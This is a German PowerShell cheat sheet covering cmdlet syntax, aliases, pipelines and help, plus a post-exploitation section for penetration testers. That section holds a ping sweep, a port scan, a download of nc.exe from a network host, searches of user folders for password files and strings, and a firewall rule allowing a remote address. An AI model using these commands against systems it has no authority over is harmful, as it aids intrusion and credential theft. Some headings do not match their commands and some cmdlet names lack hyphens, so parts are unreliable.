Der Zweck dieses Spickzettels besteht darin, einige gängige Optionen und Techniken zur Verwendung in Microsofts PowerShell zu beschreiben.
PowerShell-Übersicht
PowerShell-Hintergrund
PowerShell ist der Nachfolger von command.com, cmd.exe und cscript. Ursprünglich als separater Download veröffentlicht, ist es jetzt in alle modernen Versionen von Microsoft Windows integriert. Die PowerShell-Syntax hat die Form von in Cmdlets implementierten Verb-SubstantivMustern.
Starten von PowerShell
Auf PowerShell greifen Sie zu, indem Sie Start drücken -> powershell eingeben und die Eingabetaste drücken. Einige Vorgänge erfordern Administratorrechte und können durch Starten von PowerShell als Sitzung mit erhöhten Rechten ausgeführt werden. Sie können eine erhöhte
PowerShell starten, indem Sie auf Start drücken – > powershell eingeben und Umschalt-STRG und Enter drücken.
Darüber hinaus können PowerShell-Cmdlets von cmd.exe aufgerufen werden, indem Sie Folgendes eingeben: powershell -c “BEFEHL”.
Syntax
Cmdlets sind kleine Skripts, die einer durch
Bindestriche getrennten Verb-Substantiv-Konvention
folgen, z. B. „Get-Process“
Ähnliche Verben mit unterschiedlichen Aktionen:
- New- Erstellt eine neue Ressource
- Set- Ändert eine vorhandene Ressource
- Get- Ruft eine vorhandene Ressource ab
- Read- Ruft Informationen aus einer Quelle ab, z.B aus Dateien
- Find- Wird verwendet, um nach einem Objekt zu suchen
- Search- Wird verwendet, um einen Verweis zu einer Ressource zu erstellen
- Start- (asynchron) eine Operation beginnen, wie das Starten eines Prozesses
- Invoke- (synchron) Ausführen einer Handlung, z. B. Ausführen eines Befehls
Parameter:
Eine Verb-Substantiv kombination kann viele Parameter haben, um die Cmdlet-Funktionalität zu steuern.
Objekte:
Die Ausgabe der meisten Cmdlets sind Objekte, die an andere Cmdlets übergeben und weiter verarbeitet werden können. Dies wird beim Pipelining | von Cmdlets wichtig.
Nützliche Cmdlets (und Aliase)
Holen Sie sich eine Verzeichnisliste (ls, dir, gci):
[php]Get-ChildItem[/php]
Kopieren Sie eine Datei (cp, copy, cpi):
[php]Copy-Item src.txt dst.txt[/php]
Verschieben einer Datei (mv, move,mi):
[php]Select-String –path c:\users\*.txt –pattern password[/php]
[php]ls -r c:\users -file | %{Select-String -path $_ -pattern password}[/php]
Suchen Sie Text in einer Datei:
[php]Get-Content file.txt[/php]
Dateiinhalt anzeigen (cat, type, gc):
[php]Get-Content file.txt[/php]
Aktuelles Verzeichnis abrufen (pwd, gl):
[php]Get-Location[/php]
Holen Sie sich eine Prozessliste (ps, gps):
[php]Get-Process[/php]
Holen Sie sich eine Serviceliste:
[php]Get-Service[/php]
Ausgabe eines Befehls formatieren (Format-List): ‘
[php]ls | Format-List –property name[/php]
Ausgabe Schittweise auflisten:
[php]ls –r | Out-Host -paging[/php]
Rufen Sie den SHA1-Hash einer Datei ab:
[php]Get-FileHash -Algorithm SHA1 file.txt[/php]
Ausgabe in CSV exportieren:
[php]Get-Process | Export-Csv prozesse.csv[/php]
PowerShell für Pen-Tester-Post-Exploitation
Führen Sie einen Ping-Netz durch:
[php]1..255 | % {echo "192.168.210.$_";ping -n 1 -w 100 192.168.210.$_ | SelectString ttl}[/php]
Führen Sie einen Port Scan durch:
[php]1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.210.10",$_)) "Port $_ is open!"} 2>$null[/php]
Rufen Sie eine Datei über HTTP (wget in PowerShell) ab:
[php](New-Object System.Net.WebClient).DownloadFile("http://192.168.210.10/nc.exe","nc.exe")[/php]
Alle Dateien mit einem bestimmten Namen finden:
[php]Get-ChildItem "C:\Users\" -recurse -include *Passwörter*.txt[/php]
Erhalten Sie eine Liste aller installierten Microsoft Hotfixes:
[php]Get-HotFix[/php]
Navigieren Sie in der Windows-Registrierung:
[php]cd HKLM:\
ls[/php]
Programme auflisten, die automatisch in der Registrierung gestartet werden sollen:
[php]Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run[/php]
Zeichenfolge von ASCII in Base64
[php][System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("ITNEXTGEN"))[/php]
Listen Sie die Windows-Firewallregeln auf und ändern Sie sie:
[php]Get-NetFirewallRule –all
New-NetFirewallRule -Action Allow -DisplayName TESTPROGRAM -RemoteAddress 192.168.210.10[/php]
Cmdlets finden
So erhalten Sie eine Liste aller verfügbaren Cmdlets:
[php]Get-Command[/php]
unterstützt das Filtern. So filtern Sie Cmdlets nach dem Verbsatz:
[php]Get-Command Set* [/php]
[php]Get-Command –Verb Set[/php]
Oder auf dem Substantivprozess:
[php]Get-Command *Process[/php]
[php]Get-Command –Noun process[/php]
Hilfe bekommen
So erhalten Sie Hilfe mit Hilfe:
[php]Get-Help[/php]
So lesen Sie die Cmdlet-Selbstdokumentation:
[php]Get-Help < cmdlet >[/php]
Ausführliche Hilfe:
[php]Get-Help < cmdlet > -detailed[/php]
Anwendungsbeispiele:
[php]Get-Help < cmdlet > -examples[/php]
komplette Hilfe:
[php]Get-Help < cmdlet > -full[/php]
Online-Hilfe (sofern vorhanden):
[php]Get-Help < cmdlet > -online[/php]
Cmdlet-Aliase
Aliase bieten kurze Verweise auf lange Befehle.
So listen Sie verfügbare Aliase auf (alias alias):
So erweitern Sie einen Alias zu einem vollständigen Namen:
Effiziente PowerShell
Tab-Vervollständigung:
[php]get-child < cmdlet >[/php]
[php]Get-ChildItem[/php]
Parameterkürzung:
[php]ls –recurse[/php]
[php]ls -r[/php]
Pipelining, Schleifen und Variablen
Weiterleitung der Cmdlet-Ausgabe an ein anderes Cmdlet:
[php]Get-Process | Format-List –property name[/php]
ForEach-Objekt in der Pipeline (Alias %):
[php]ls *.txt | ForEach-Object {cat $_}[/php]
Where-Object-Bedingung (alias where oder ?):
[php]Get-Process | Where-Object {$_.name –eq "notepad"}[/php]
Zahlenbereiche erzeugen und Schleifen:
[php]1..10[/php]
[php]1..10 | % {echo "Hallo!"}[/php]
Variablen erstellen und auflisten:
[php]$ING = 2022[/php]
[php]ls variable:[/php]
Beispiele für das Weiterleiten der Cmdlet-Ausgabe in die Pipeline:
[php]dir | group extension | sort[/php]
[php]Get-Service dhcp | StopService -PassThru | Set-Service -StartupType Disabled[/php]